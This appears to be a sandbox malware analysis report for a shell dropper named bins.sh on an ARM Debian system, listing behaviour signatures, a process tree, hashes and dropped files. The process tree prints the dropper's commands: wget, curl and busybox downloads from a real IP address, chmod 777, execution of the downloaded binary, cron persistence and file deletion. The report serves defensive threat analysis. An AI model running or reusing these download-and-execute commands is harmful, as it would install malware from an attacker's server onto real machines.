Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 20:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-y2ntrawfqd
  • SHA256 a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:677
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:679
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:680
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:681
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:682
              • /bin/rm
                rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
                2⤵
                  PID:689
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                  2⤵
                    PID:693

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq

                      • Path /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
                      • Size 141KB
                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                      • MD5 SHA1 SHA512 SSDEEP

                      tmp.9EYcyv

                      • Path /var/spool/cron/crontabs/tmp.9EYcyv
                      • Size 210B
                      • SHA256 3599d35a03e52935449ee5f7b4401adb92dc0cd09f007a982d8fc7e43a8ce6a1
                      • MD5 SHA1 SHA512